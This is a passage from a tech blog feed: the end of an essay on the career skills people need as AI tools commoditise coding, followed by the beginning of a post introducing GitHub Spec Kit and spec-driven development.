<p>Let&rsquo;s put this into practical terms. If you&rsquo;re someone who is absolutely <em>killing it</em> at UX design, can easily put that design into code with a prototype, and then be able to clearly outline the customer scenarios that you need to tackle before working with engineering teams - you have a pretty good collection of skills that can set you apart in a sea of candidates. It&rsquo;s a nice combo, but is not exactly a moat <em>anymore</em>. Putting designs into code is now easier than ever - in the past few weeks alone, I managed to translate several Figma designs into working web-based prototypes in hours, not days or weeks. Best of all, I didn&rsquo;t need to dive deep into any of the web frameworks that underpinned those. I had a job to do and I did it.</p>
<p>A lot of skills that previously required a specialized person (e.g., ability to put designs into prototypes) became and will continue to become more and more <strong>commoditized</strong>. Computers start getting better than us at <em>many</em> jobs (remember accounting before Excel), but believe me - it&rsquo;s OK.</p>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/thinking.gif" alt="Mole thinking." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>Isn&rsquo;t skill commoditization a bad thing? Wouldn&rsquo;t this mean that what previously required a few folks on a team now requires one person?</p>
    </div>
  </div>  
<p>Not necessarily. This idea does get to the crux of my thesis, though - while skill commoditization is more common, it&rsquo;s not a replacement a few <em>timeless</em> traits that will be relevant regardless of AI advancements, and these can actually strengthen the aforementioned career moat.</p>
<p>With a lot of the CRUD-like development capabilities becoming within reach of <em>anyone</em> with a keyboard and $20 to toss for a monthly subscription, this also means that <em>anyone</em> can start bringing their software ideas to life. But just like the invention of the 3D printer didn&rsquo;t magically destroy the manufacturing market, LLMs won&rsquo;t destroy the tech one. Just because we have <a
  href="https://en.wikipedia.org/wiki/Da_Vinci_Surgical_System"
  
  target="_blank" rel="noreferrer noopener"
>robotic surgery machines</a> doesn&rsquo;t mean we no longer need surgeons that understand the innate workings of the human body. They can just do things <em>differently</em> with their expertise, skill, and experience. Ring a bell?</p>
<p><a
  href="/blog/agents/"
  
  
>I talked about this before</a>, by the way - the right lens to look through here is that the AI agents and LLM-based systems are merely <em>augmentations</em> that allow you to reach for more. While they <em>are</em> getting better quickly, they still need to lean on your skills to build things <em>the right way</em>. If you have no clue about authentication systems, an LLM isn&rsquo;t magically going to create intrusion-safe code for you that you can ship to production. It might <em>work</em> but that&rsquo;s way different than <em>work securely and not expose your data</em>.</p>
<p>All this is to say that expertise and an array of &ldquo;augmentation&rdquo; skills are still relevant. The specific spectrum of skills that will make you successful, however, is different than what we saw in the past decade. This will be uncomfortable if you haven&rsquo;t thought too much about it before.</p>
<p>The toolbox of capabilities that democratizes the end-to-end of the product development process is significantly more accessible than it was before. There are tools that can help <a
  href="https://github.com/github/spec-kit"
  
  target="_blank" rel="noreferrer noopener"
>think through specifications for projects</a>, start <a
  href="https://github.com/anthropics/claude-code"
  
  target="_blank" rel="noreferrer noopener"
>implementing the code</a>, <a
  href="https://github.com/microsoft/playwright-mcp"
  
  target="_blank" rel="noreferrer noopener"
>automate the testing and validation process</a>, and then push and <a
  href="https://azure.microsoft.com/products/sre-agent/"
  
  target="_blank" rel="noreferrer noopener"
>monitor things in production</a>. Not bad for the past year alone, right?</p>
<p>What&rsquo;s also changing is the set of well-defined roles in the industry. I see a trend towards <strong>role flattening</strong>, a phenomenon where well-defined role responsibilities become <a
  href="https://web.archive.org/web/20240829170745/https://posthog.com/blog/what-is-a-product-engineer"
  
  target="_blank" rel="noreferrer noopener"
>significantly blurrier</a>. What was once a clear-cut set of priorities for a discipline becomes a much broader set of responsibilities, and nothing showcases that better than the emergence (or reemergence, depending on the field) of the &ldquo;product engineer&rdquo; role.</p>
<blockquote class="quoteback" darkmode="true" data-title="What is a product engineer (and why they&#39;re awesome)" data-author="Ian Vanagas" cite="https://web.archive.org/web/20240829170745/https://posthog.com/blog/what-is-a-product-engineer">
    
A product engineer, at its most basic, is a software engineer building products. They do similar work to software engineers: writing code and shipping features. Usually, they write fullstack code with a focus on the frontend. What makes them unique is their focus on creating a product for users. They care about building a solution to problems that provides value to users. They must be empathetic to users, and this means caring about user feedback and usage data.

    <footer>Ian Vanagas<cite> <a href="https://web.archive.org/web/20240829170745/https://posthog.com/blog/what-is-a-product-engineer">https://web.archive.org/web/20240829170745/https://posthog.com/blog/what-is-a-product-engineer</a></cite></footer>
</blockquote>
<p>A few years back, &ldquo;product engineer&rdquo; would&rsquo;ve gotten a confused look from me. Today? I <em>am</em> one. Not kidding, by the way - it&rsquo;s what I do at Microsoft.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/full-stack-person/ppe.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="It does actually say Principal Product Engineer on my employee card."
    
    
    
      src="https://assets.den.dev/images/postmedia/full-stack-person/ppe.webp"
    
  />
  </a>
  <figcaption class="text-center">It does actually say Principal Product Engineer on my employee card.</figcaption>
</figure>
<p>The shift is quite significant compared to traditional <em>product</em> and <em>product-adjacent</em> roles. I don&rsquo;t wait for engineering resources - I start building. I don&rsquo;t wait for engineers to implement spec changes - I open the PR myself. I don&rsquo;t wait for designers to tweak Figma mocks - I spin up a branch, pull the style guidelines via MCP, generate component variations with Claude Code, and push it for review to GitHub, where Copilot Coding Agent does a first pass. Need a prototype in a framework I&rsquo;ve never touched? Done in hours. A/B test analysis with anomaly detection? Handled. Pattern recognition across thousands of feedback entries? Easy.</p>
<p>The lifehack here is to use all the AI tools to <strong>scale myself</strong> across what used to be hard role boundaries. And best of all, I&rsquo;m not special here in any way - anyone with enough agency and curiosity can do this <em>now</em>.</p>
<p>If you&rsquo;re stuck in the old ways of waterfall processes, fixed role responsibilities, waiting for permission to execute, or sling code over the wall just because it compiled on the first run - I&rsquo;ve got bad news for you. There&rsquo;s a reason that with the advent of vibe coding we are yet to see a <a
  href="https://en.wikipedia.org/wiki/Cambrian_explosion"
  
  target="_blank" rel="noreferrer noopener"
>Cambrian explosion</a> of software businesses. As it turns out, writing code is not the bottleneck - there&rsquo;s more to software than just auto-generating buckets of Python files.</p>
<h2 id="the-new-skill-stack" class="relative group">The New Skill Stack <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-new-skill-stack" aria-label="Anchor">#</a></span></h2>
<p>Let&rsquo;s revisit the topic of commoditization of skills. If many tech-related capabilities become easily available via LLMs, what does it mean for all of us that work in the field? If writing code becomes easier without prior knowledge, like that of web frameworks, what should one lean into studying and applying?</p>
<p>First of all - nothing will change when it comes to <strong>understanding of technology from first principles</strong>. Literally zero. Don&rsquo;t let YouTube gurus fool you, because they are full of it. AI doesn&rsquo;t obviate the need for being able to actually understand how things work.</p>
<p>There is no automated replacement for having <strong>deep knowledge</strong> of the fundamentals. You need to be able to spot that the produced implementation is bullshit because it copied seventeen CSS files in different folders when it could be one. In the same vein, you should be able to spot that returning the expected two-factor authentication code in the JSON body of the request to <em>get said code</em> is an asinine approach. So - learn how the things you care about actually work, it ain&rsquo;t going away.</p>
<p>Second, you need to build or reinforce a new set of skills. Just like in Mortal Kombat you win through using combos, your career moat depends on you being able to wield skill combos. These are applicable to <em>any</em> career track in tech. Being proficient in all of them is what I call being a <strong>full-stack person</strong>. Treat them as complementary to the deep expertise you should develop first.</p>
<div class="mermaid" align="center">
  
%%{init: {'theme':'dark'}}%%
mindmap
root(("Skill<br>Differentiators"))
  Creativity and Taste
  Critical Thinking
  Communications
  Cross-Domain Knowledge
  AI Augmentation
  Product Sense
  Execution Speed
  Learning Agility
  Systems Thinking
  Agency

</div>

<p>You might not at all be surprised to learn that you should be developing these skills regardless of LLM advancements. They are entirely company- and team-agnostic and just as relevant if you&rsquo;re starting your own SaaS business or working for a mega-corp.</p>
<p>For every skill, I also include a sample set of questions you can ask about <em>whatever</em> you&rsquo;re building. It&rsquo;s not exhaustive - treat it as a starting point.</p>
<h3 id="creativity-and-taste" class="relative group">Creativity and Taste <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#creativity-and-taste" aria-label="Anchor">#</a></span></h3>
<p>LLMs can generate thousands of idea variations, but it can&rsquo;t tell you which one is <em>right</em> for every scenario. Not only that, but because LLMs are trained on vast amounts of <em>existing</em> content that means that the bulk of the output will just be a rehashing of what already exists. That&rsquo;s why all the AI slop looks the same and every single vibe-coded website has the same rounded corners and purple-blue hues.</p>
<p>LLMs are predictive text on steroids and not a replacement for a human brain. What will set you apart is developing an eye for good design, quality code, understanding what resonates with <em>actual humans</em>, and knowing when something just feels off.</p>
<p>It&rsquo;s the difference between <em>technically correct</em> and <em>genuinely compelling</em>. Smartphones existed before the iPhone, and yet the iPhone easily became the go-to choice for a massive part of the population because of the choices Apple made. LLM-generated code might work, but only someone with creativity and taste can determine whether it actually solves a scenario in a way that <em>delights</em> and <em>solves the underlying problem</em>.</p>
<h4 id="questions-to-ask" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask" aria-label="Anchor">#</a></span></h4>
<ul>
<li>Does the solution feel intuitive and delightful to use?</li>
<li>What makes this approach more elegant than alternatives?</li>
<li>How does this implementation align with user expectations?</li>
<li>Is the design tasteful?</li>
<li>Does the implementation reflect strong opinions about the product?</li>
<li>Is the code intuitive and maintainable?</li>
<li>Is the code structured in a way that allows easy iteration?</li>
</ul>
<h3 id="critical-thinking" class="relative group">Critical Thinking <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#critical-thinking" aria-label="Anchor">#</a></span></h3>
<p>LLMs excel at <strong>pattern matching</strong>. They&rsquo;re really good at looking at a massive existing corpus of data and then create &ldquo;cookie cutters&rdquo; for similar data.</p>
<p>They&rsquo;re not omnipotent, though. Even the most advanced models struggle big time with context-dependent judgment. Critical thinking means knowing which problems to solve, understanding trade-offs, and recognizing when conventional wisdom doesn&rsquo;t apply. It&rsquo;s all about asking better questions, not just finding faster answers. Accuracy is much more important than the speed out the output.</p>
<h4 id="questions-to-ask-1" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask-1" aria-label="Anchor">#</a></span></h4>
<ul>
<li>What problem are we actually trying to solve?</li>
<li>Did we specify the problem in enough detail for the LLM to dissect it?</li>
<li>What are the second-order effects of a decision or implementation?</li>
<li>What assumptions am I making that could be wrong about the architecture or user flow?</li>
<li>Are we painting ourselves into a corner with this design down the line?</li>
</ul>
<h3 id="communications" class="relative group">Communications <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#communications" aria-label="Anchor">#</a></span></h3>
<p>The ability to translate complexity into clarity becomes more valuable as LLMs handle the bulk of the very boring, monotonous, and repetitive tasks. You already know that model output is highly dependent on the quality of the input - if you provide crisper requirements, you will get better results. All those writing courses and nagging teachers that emphasize clarity of thought will be finally paying off.</p>
<p>In a very concrete example, <a
  href="/blog/github-spec-kit/"
  
  
>GitHub Spec Kit</a> is a project that my team built that introduces the concept of Spec-Driven Development (SDD). Its entire premise is &ldquo;better specifications yield better products.&rdquo; The cost of upfront planning results in LLMs being able to better &ldquo;understand&rdquo; the intent and then generate the code that best reflects it. It&rsquo;s <strong>not vibe coding</strong>, because you can&rsquo;t vibe code yourself to a good product.</p>
<h4 id="questions-to-ask-2" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask-2" aria-label="Anchor">#</a></span></h4>
<ul>
<li>Can I explain my concept in enough detail that avoids assumptions?</li>
<li>Am I able to document the user stories and scenarios that the product will solve?</li>
<li>Am I able to ask the questions that will avoid ambiguity and confusion about the project?</li>
<li>Are there unknown unknowns that I haven&rsquo;t discovered, and how do I go about finding them?</li>
</ul>
<h3 id="cross-domain-knowledge" class="relative group">Cross-Domain Knowledge <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#cross-domain-knowledge" aria-label="Anchor">#</a></span></h3>
<p>You don&rsquo;t need to be an expert in everything, but understanding how the pieces fit together matters today more than ever. You should know enough about frontend, backend, design principles, infrastructure, and data analysis to be able to have informed conversations and make sound decisions. That&rsquo;s the new baseline.</p>
<p>When I talk about this point, people tend to get all up in arms - &ldquo;<em>But I am not a frontend engineer, why do I care?</em>&rdquo; Because someone who is not a frontend engineer but knows just enough about frontend development and knows how to set up a REST API with the help of Claude Code is going to be running laps around you.</p>
<h4 id="questions-to-ask-3" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask-3" aria-label="Anchor">#</a></span></h4>
<ul>
<li>Do I understand the constraints and trade-offs across the stack?</li>
<li>Can I have a productive conversation with specialists in adjacent domains?</li>
<li>Where are the integration points that typically cause friction?</li>
<li>What are the components that I need for this project to begin with?</li>
<li>What are the state of the art tools that I need to be using to be productive?</li>
<li>Are there any architectural choices I should <em>not</em> be making because that&rsquo;s going to paint me into a corner in the future?</li>
<li>Is the design I am building actually <em>good</em>?</li>
</ul>
<h3 id="ai-augmentation" class="relative group">AI Augmentation <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#ai-augmentation" aria-label="Anchor">#</a></span></h3>
<p>This isn&rsquo;t about mastering every single tidbit about AI, ML, and transformers. It&rsquo;s not about reading every paper on ArXiV either. You must know when and how to leverage existing AI tools effectively.</p>
<p>In practice, having this skill means being able to understand what LLMs do well, where they fall short, and how to chain them together to improve your output. It&rsquo;s easier said than done because we&rsquo;re in the period of AI development where it&rsquo;s either all doom-and-gloom or &ldquo;<em>AGI is right around the corner,</em>&rdquo; when the reality is much more nuanced. Showing an LLM into the process is not a panacea.</p>
<h4 id="questions-to-ask-4" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask-4" aria-label="Anchor">#</a></span></h4>
<ul>
<li>Which parts of this work can this model handle well enough?</li>
<li>Which model is appropriate for the task that I am trying to accomplish?</li>
<li>Am I replacing creative work or routine work with this LLM workflow?</li>
<li>How do I validate that the LLM output is right?</li>
<li>Are there agents that I delegate tasks to that will make me more efficient?</li>
<li>What&rsquo;s the right level of human oversight for this task?</li>
</ul>
<h3 id="product-sense" class="relative group">Product Sense <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#product-sense" aria-label="Anchor">#</a></span></h3>
<p>Understanding <strong>what</strong> to build and <strong>why</strong> separates tinkerers from product experts. I&rsquo;ve seen people that call themselves product managers that can&rsquo;t piece two pieces of customer feedback together - don&rsquo;t be that. Product sense means having empathy for users, recognizing patterns in feedback, and prioritizing ruthlessly the things that will actually move the needle for the product.</p>
<p>To put it bluntly, it&rsquo;s the skill that prevents you from building technically impressive things that nobody wants.</p>
<h4 id="questions-to-ask-5" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask-5" aria-label="Anchor">#</a></span></h4>
<ul>
<li>What&rsquo;s the <em>actual</em> customer problem here?</li>
<li>Am I synthesizing feedback or just following it blindly?</li>
<li>Do I ask users for features or patterns that I can use to build the actual solution?</li>
<li>Do I understand the target audience?</li>
<li>What&rsquo;s the smallest version that delivers real value?</li>
<li>How does the work ladder up to the broader strategy?</li>
</ul>
<h3 id="execution-speed" class="relative group">Execution Speed <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#execution-speed" aria-label="Anchor">#</a></span></h3>
<p>Ideas are cheap; shipping is hard. Yes, even with vibe coding. Again - look around. Where are the thousands of new SaaS businesses that vibe coding supposedly unlocked? There are not nearly as many as you&rsquo;d think, and that is because doing things end-to-end is hard. And yet - those that can use modern AI tools to move faster will be at an advantage.</p>
<p>Execution speed is about maintaining velocity while keeping in mind <em>why the hell you&rsquo;re doing this to begin with</em> - knowing when to move fast and ship an MVP versus slow down and do it right. Bias for action compounds over time, and you will need to develop a sense when to push the pedal to the metal.</p>
<h4 id="question-to-ask" class="relative group">Question to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#question-to-ask" aria-label="Anchor">#</a></span></h4>
<ul>
<li>Am I bikeshedding on irrelevant things?</li>
<li>If this ships today, what&rsquo;s missing?</li>
<li>Is the decision a one-way or two-way door?</li>
<li>What do I need to learn to make better future decisions?</li>
<li>Will my customers be happy with what I delivered?</li>
<li>Is this incrementally moving me to the end-goal?</li>
</ul>
<h3 id="learning-agility" class="relative group">Learning Agility <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#learning-agility" aria-label="Anchor">#</a></span></h3>
<p>The half-life of technical knowledge keeps shrinking - in every sense. Web development frameworks become lost in the sands of time faster than you can say &ldquo;<em>I want pizza.</em>&rdquo; Learning agility means being able to quickly absorb new concepts, recognize patterns across domains that are applicable in new tools, and adapting your mental models to things that will never be constant. Forget about memorizing frameworks. You need transferable understanding.</p>
<h4 id="questions-to-ask-6" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask-6" aria-label="Anchor">#</a></span></h4>
<ul>
<li>What&rsquo;s the underlying principle I can apply elsewhere?</li>
<li>How does this relate to patterns I&rsquo;ve seen before?</li>
<li>What&rsquo;s the fastest way to validate my understanding?</li>
<li>Are there blind spots in my knowledge that will unlock new insights?</li>
<li>What am I missing, and who do I talk to for me to discover this?</li>
</ul>
<h3 id="systems-thinking" class="relative group">Systems Thinking <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#systems-thinking" aria-label="Anchor">#</a></span></h3>
<p>As AI handles more isolated tasks, I want to see more people capable of seeing the bigger picture. There are <em>so many</em> people that are highly focused on a set of tasks that they forget about the fact that there&rsquo;s more to product work than building one subsystem.</p>
<p>Systems thinking means understanding how components interact, anticipating cascading effects, and recognizing feedback loops. It&rsquo;s the skill that prevents local optimizations that hurt global outcomes.</p>
<h4 id="questions-to-ask-7" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask-7" aria-label="Anchor">#</a></span></h4>
<ul>
<li>How does this change ripple through the system?</li>
<li>What are the dependencies I&rsquo;m not seeing?</li>
<li>Where might this create unintended consequences?</li>
<li>What dependencies will potentially derail my product down the line?</li>
<li>Is it possible that my target audience will be different once I ship?</li>
</ul>
<h3 id="agency" class="relative group">Agency <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#agency" aria-label="Anchor">#</a></span></h3>
<p>Read up on <a
  href="https://www.highagency.com/"
  
  target="_blank" rel="noreferrer noopener"
>high agency</a>. No, really - stop reading this blog post, click the link, and spend thirty minutes reading through George&rsquo;s writing. To me, high agency boils down to a &ldquo;<em>We&rsquo;ll figure this out - let&rsquo;s get to work</em>&rdquo; attitude. No excuses, no waiting for permission, no futzing around with things that don&rsquo;t actually have any material impact on the work. High agency people get shit done, and low agency people always find a reason why things don&rsquo;t work.</p>
<p>Learn to be the bulldozer - no matter the obstacle, you can plow through and pave a way for others.</p>
<h4 id="questions-to-ask-8" class="relative group">Questions to ask <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#questions-to-ask-8" aria-label="Anchor">#</a></span></h4>
<ul>
<li>Do I just start doing things or do I wait for someone to bless my aspirations?</li>
<li>Do I dwell on the past or do I move forward?</li>
<li>Do I assume that I will figure things out or do I look for reasons things won&rsquo;t work?</li>
<li>Am I waiting for others to teach me or do I learn things myself?</li>
</ul>
<h2 id="t-shaped-is-dead-long-live-pi-shaped" class="relative group">T-Shaped Is Dead, Long Live Pi-Shaped <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#t-shaped-is-dead-long-live-pi-shaped" aria-label="Anchor">#</a></span></h2>
<p><a
  href="https://en.wikipedia.org/wiki/T-shaped_skills"
  
  target="_blank" rel="noreferrer noopener"
>T-shaped</a> used to mean one deep spike plus a thin layer of everything else. That was <em>perfectly fine</em> when roles were somewhat rigid and the handoffs were clean. PMs do one thing, engineers another, and so on.</p>
<p>Today, work is much more&hellip; messy. Loops are tight and the fastest path from idea to impact crosses multiple disciplines without the bandwidth to necessarily allocate a professional from each discipline to the task. I bet that the durable advantage is now much more π-shaped: two deep spikes sitting on a broad base. Allow me to elaborate on this totally-not-obvious explanation.</p>
<ul>
<li><strong>Broad base</strong>: cross-domain fluency - you can speak frontend, backend, data, design, and delivery well enough to make decisions and ship.</li>
<li><strong>Spike 1</strong>: product sense - you have taste, judgment, and the ability to turn fuzzy customer problems into clear, valuable outcomes, while having a deep attention to detail.</li>
<li><strong>Spike 2</strong>: engineering craft - the skill to make it real, safely and simply, under production constraints.</li>
</ul>
<p>AI lowers the cost of “<em>type it and it runs.</em>” It does not lower the cost of choosing the right thing, shaping it well, and operating it in the wild. That’s on you. Treat models as multipliers, not managers. They accelerate execution while you own intent, architecture, and accountability.</p>
<p>The future is full-stack. Get onboard.</p>
]]></content:encoded></item><item><title>What's The Deal With GitHub Spec Kit</title><link>https://den.dev/blog/github-spec-kit/</link><pubDate>Sun, 12 Oct 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/github-spec-kit/</guid><description>Get to know the latest open source toolkit from GitHub that allows you to use Spec-Driven Development in any AI coding agent.</description><content:encoded><![CDATA[<p>I get to finally write a bit about a project I was knee-deep in for the past month - <a
  href="https://github.com/github/spec-kit"
  
  target="_blank" rel="noreferrer noopener"
>GitHub Spec Kit</a>. It&rsquo;s a project born out of <a
  href="https://notes.iunknown.com/About"
  
  target="_blank" rel="noreferrer noopener"
>John Lam</a>&rsquo;s research in how to help steer the software development process with Large Language Models (LLMs) and make it <em>just a tiny bit more deterministic</em>. After all, we all know that vibe coding into production is just a monumentally shortsighted approach, but what&rsquo;s the alternative?</p>
<p>All of this thinking and more got encapsulated in an experiment around the concept of <strong>Spec-Driven Development</strong> (SDD) that we collectively shipped in the open on GitHub, called <a
  href="https://github.com/github/spec-kit"
  
  target="_blank" rel="noreferrer noopener"
>GitHub Spec Kit</a>.</p>
<h2 id="why-specs" class="relative group">Why specs <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#why-specs" aria-label="Anchor">#</a></span></h2>
<p>The first question I usually get around Spec Kit is - &ldquo;Why bother?&rdquo; If LLMs are essentially &ldquo;roll of the dice&rdquo; kind of technology, can&rsquo;t you just <a
  href="https://den.dev/blog/rebuilding-my-podcast-website-with-copilot/"
  
  target="_blank" rel="noreferrer noopener"
>vibe code</a> a bunch of stuff together and call it a day?</p>
<p>If you&rsquo;ve used LLMs to vibe code anything, no matter how small, you know that the output can vary wildly. The prompt that <em>you</em> ran can produce a completely different result from the exact same prompt that <em>your friend</em> ran on a different computer that same day. LLMs are built like that - every time you ask it to do things, the little bits of sand in your computer start interacting with electrical signals and some complex math <em>way out in the datacenter somewhere</em> (unless you&rsquo;re running things locally, of course) to predict the output. That means, by design, that said output will be, shall we say, variable.</p>
<p>That&rsquo;s not necessarily a bad thing - we came to terms with the fact that this is how the technology works. Yet, within our team we still posed the question - &ldquo;Can we harness this tech to produce deterministically good software?&rdquo; We think one potential route there is through <strong>specifications</strong>. We are actually <a
  href="https://www.youtube.com/watch?v=8rABwKRsec4"
  
  target="_blank" rel="noreferrer noopener"
>not alone</a> in this thinking.</p>
<p>For those of you who are not product managers, specifications might mean different things. You also might&rsquo;ve heard different terms thrown around in the same vein - PRDs, BRDs, CRDs, specs, and other fancy ways Silicon Valley tried everyone to adopt as a way to describe what I can best describe as &ldquo;detailed descriptions for software&rdquo;. Lots of oxygen has been spent trying to outline what a good spec is, but it&rsquo;s always about being <strong>very clear about the intent</strong>.</p>
<p>The gist of the specification document is simple - it&rsquo;s an outline of the &ldquo;<em>what</em>&rdquo; and the &ldquo;<em>why</em>&rdquo; of your product, feature, or bug fix. Think of it as an artifact responsible for outlining the reasoning behind why something needs to be built and what exactly will be built to match customer expectations.</p>
<p>Specifications are also intentionally <strong>detached from technical details</strong>. A spec document is not the place where you go and define all the inner workings of your technical stack of choice. Your customers couldn&rsquo;t care less if you wrote the code in C# or Python, or whether you used d3.js or Recharts for your interactive graphs. Unless, of course, you have super-technical customers, in which case - kudos. Most of the time customers care about very concrete solutions and how they will be brought to life through the power of software. That&rsquo;s the lens you should be looking through when it comes to specifications.</p>
<p>If you focus on specifications and ignore the technical details for a moment, you also unlock a myriad of possibilities that were previously not there if you would keep all of the requirement types in the same &ldquo;bundle&rdquo; or right away start with code.</p>
<p>Say, if you decide to write an app in Swift, you could theoretically use a spec you put together for that app and have every little tidbit captured in one massive document. But what if you are curious if the Objective-C version will be more performant (not that it would be, but hey)? Well, if you had one &ldquo;hybrid&rdquo; document that intermingles all those details - functional and technical - now you need to untangle the mess to get to the crux of your product requirements. If you have a clean spec that focuses on the &ldquo;<em>what</em>&rdquo; and the &ldquo;<em>why,</em>&rdquo; you can have an LLM (or multiple) implement independent versions of your app. Then, you can compare the experience for yourself. It&rsquo;s all built on top of the same set of requirements.</p>
<p>Using LLMs with specs <em>may</em> feel a bit annoying - you see all these random YouTube influencers showing you how they just used Claude Code to vibe code their new SaaS business over the weekend and here I am, asking you to just sit down and write your requirements first before you toss your project into a LLM chat box to implement. There&rsquo;s a fairly significant upside to this approach - just like in the real world, <strong>if you are able to clearly articulate your requirements, you will get better outcomes</strong>.</p>
<p>If we look at LLMs as over-eager junior engineers that just can&rsquo;t wait to go and sling hundreds of lines of code, wouldn&rsquo;t you say that the crisper the requirements and guidance we give them, the better likelihood we have to get actually decent code? I strongly believe so.</p>
<p>In this arena, specs become the <strong>executable artifacts</strong>. The code becomes somewhat (not altogether, don&rsquo;t yell at me just yet) fungible - you still need to make sure that you review it and spot issues, but ultimately it becomes the &ldquo;<em>compiled specification.</em>&rdquo; You can quickly iterate on it and even re-create it from the spec with the help of an LLM. As long as you have crisp requirements, of course.</p>
<h2 id="how-spec-kit-fits-here" class="relative group">How Spec Kit fits here <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#how-spec-kit-fits-here" aria-label="Anchor">#</a></span></h2>
<p>Instead of reading many words in the post below, I would actually recommend you can start with an overview of GitHub Spec Kit that I recorded not that long ago:</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
